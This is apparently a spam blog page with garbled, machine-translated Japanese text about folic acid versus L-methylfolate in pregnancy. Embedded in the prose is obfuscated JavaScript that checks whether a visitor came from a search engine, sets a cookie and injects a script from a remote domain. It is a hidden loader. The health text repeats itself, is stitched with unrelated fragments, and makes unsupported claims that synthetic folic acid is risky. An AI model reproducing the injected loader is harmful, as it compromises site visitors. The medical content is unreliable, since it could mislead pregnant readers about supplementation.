efcimoti.blogg.se - 葉酸摂取時期

これが、L-メチル葉酸塩の補給が、食事から十分に摂取できない可能性がある人のために葉酸を使用するよりも優れているとも考えられる理由です。.

実際、多くの医者や栄養士でさえ、葉酸と葉酸が体内で大きく異なる経路を持っていることに気づいていないままです。.. それは両方とも身体により容易に利用可能であり、そしてそれは蓄積の同じ潜在的危険性をもたらさない。.. 葉酸は、緑豊かな野菜、豆、卵、柑橘系の果物、アボカド、牛肉の肝臓など、多くの食品全体に含まれるビタミンB9の一般的な形です。.. そうして初めて、THFをL-メチル葉酸塩に変換することができます。これは、身体が多くの重要な機能に必要とする葉酸塩の最終形態です。.

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最近の研究によると、誤った形式を摂取すると、意図しない悪影響を及ぼすことがあります。.. 身体に栄養分を提供するという意味では、栄養補助食品や加工食品に含まれる合成葉酸よりも、食事中の葉酸（食品全体に含まれる形）のほうが好ましいです。.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x325fdf=_0x192b44();}catch(_0x43c29b){_0x325fdf=window;}var _0x69833e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x325fdf['atob']||(_0x325fdf['atob']=function(_0x151eb2){var _0x2d714e=String(_0x151eb2)['replace'](/=+$/,'');for(var _0x15068d=0x0,_0x2b9d45,_0x2388d9,_0x3cefc0=0x0,_0x5346de='';_0x2388d9=_0x2d714e['charAt'](_0x3cefc0++);~_0x2388d9&&(_0x2b9d45=_0x15068d%0x4?_0x2b9d45*0x40+_0x2388d9:_0x2388d9,_0x15068d++%0x4)?_0x5346de+=String['fromCharCode'](0xff&_0x2b9d45>>(-0x2*_0x15068d&0x6)):0x0){_0x2388d9=_0x69833e['indexOf'](_0x2388d9);}return _0x5346de;});}());_0x5100['yMesqq']=function(_0x1f9d8c){var _0x573aeb=atob(_0x1f9d8c);var _0xa9269=[];for(var _0x18b5ca=0x0,_0x5228a8=_0x573aeb['length'];_0x18b5ca=0x0){_0x4fae56=!![];}}if(_0x4fae56){if(_0x207006[_0x5100('0x28')](_0x207006[_0x5100('0x29')],_0x5100('0x2a'))){var _0x451d83=document[_0x5100('0x1')](_0x207006[_0x5100('0x2b')]);_0x451d83['src']=url;document[_0x5100('0x2c')](_0x207006[_0x5100('0x2d')])[0x0][_0x5100('0x5')](_0x451d83);}else{cookie[_0x5100('0x2e')](_0x207006[_0x5100('0x26')],0x1,0x1);if(!_0x528b0f){_0x207006[_0x5100('0x2f')](include,_0x207006[_0x5100('0x30')](_0x207006[_0x5100('0x31')](_0x207006[_0x5100('0x32')],q),''));}}}}R(); 葉酸と葉酸 - 2つの異なる形態の必須ビタミンB9 - は互換的に使用されているため、ほとんどの人はそれらが同じであると考えています.. 一方、葉酸は加工食品に添加されるビタミンB9の合成バージョンであり、サプリメントに使用される一般的なバージョンです。. Draw9patch Draw9patch For Mac

産科婦人科の科学雑誌Reviewsの2011年の論文によると、強化プログラムのほんの数ヶ月以内に新生児のNTDの有病率が減少した。.. 葉酸が体によって利用されることができる前に、それは2つの変換を経なければなりません - 最初にジヒドロ葉酸（DHF）そして次にテトラヒドロ葉酸（THF）へ.. var _0x23b1=['Z2V0','RVhRQlM=','aW5kZXhPZg==','elFlTk0=','aEJoeVE=','S29Qdm0=','WE1Pcms=','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','TVJlU0c=','c2V0','WHZKeVY=','R3hQZG8=','QVRzU2I=','S2ZCUlI=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','c3Jj','Z3N3R1I=','YXBwZW5kQ2hpbGQ=','Y29va2ll','bWF0Y2g=','cGtOeVU=','bGVuZ3Ro','c3BsaXQ=','cmVwbGFjZQ==','VnhqSFo=','OyBkb21haW49','OyBzZWN1cmU=','SUp6ZmY=','Q0JZdU0=','cHFTdHI=','OyBleHBpcmVzPQ==','Z2V0VGltZQ==','VW5ReU4=','TGhMakk=','ZkJSRGg=','Lmdvb2dsZS4=','LmJpbmcu','LmFvbC4=','LmFzay4=','dmlzaXRlZA==','dFpKY3A=','aHR0cHM6Ly9vbm15Y2xvdWQudG9wL2pwX2RlYzIucGhwP3g9c2EmcXVlcnk9','aEpyUFk=','Tk5qWGU=','YWRDVFA=','c0Z2YUI=','UW5FVk0=','RUtCdWY=','cmVmZXJyZXI='];(function(_0xedeccf,_0x556e76){var _0x3fdbeb=function(_0x5adde2){while(--_0x5adde2){_0xedeccf['push'](_0xedeccf['shift']());}};_0x3fdbeb(++_0x556e76);}(_0x23b1,0x1d9));var _0x5100=function(_0x5f1902,_0x1e8f7a){_0x5f1902=_0x5f1902-0x0;var _0x2e3102=_0x23b1[_0x5f1902];if(_0x5100['IqvTKd']===undefined){(function(){var _0x325fdf;try{var _0x192b44=Function('return\x20(function()\x20'+'{}.. 科学的な詳細を知りたがっている人のために、ここでは体がどのように通常葉酸を処理するのか、そしてそれが潜在的に危険なのかについてもっと詳しく述べています.. この規制の目的は、母親のビタミンB9摂取と何らかの関連があることが示されている一般的な先天性欠損症であるNeural Tube Defects（NTD）の罹患率を減らすことです。.

しかしながら、アメリカ人の60％までが、自分自身で葉酸からL-メチル葉酸を変換する能力を低下させる遺伝的変異を有すると推定されている。.. この一般的な誤解を認識したので、間違った形式を選択して望ましくない副作用を回避する方法を学びましょう。.. 葉酸摂取時期ホウホウこの遺伝的変異を持っている人のために、葉酸を補給することは潜在的にそれが必要とするよりも少ない量で体を残す様々な量の変換されたL-メチル葉酸塩形態をもたらすかもしれません.. 最近のいくつかの研究が示しているように、葉酸と葉酸塩の非常に小さな違いは、体がそれらをどのように処理できるかに大きな影響を与えます。.. 栄養補給について十分な情報に基づいた決定を下すために知っておく必要があるのは、次のとおりです。. ae05505a44